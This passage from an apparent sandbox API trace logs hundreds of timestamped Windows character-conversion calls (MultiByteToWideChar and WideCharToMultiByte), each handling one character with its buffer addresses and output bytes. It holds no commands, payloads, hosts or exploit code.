lpUsedDefaultChar=0x0) returned 1 [0068.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Q", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="J") returned 1 [0068.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0068.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0068.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0068.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="I") returned 1 [0068.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=">", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=">\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0068.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0068.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0068.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="I") returned 1 [0068.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Q", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="J") returned 1 [0068.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0068.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0068.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0068.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=">", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=">\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0068.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="O\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, 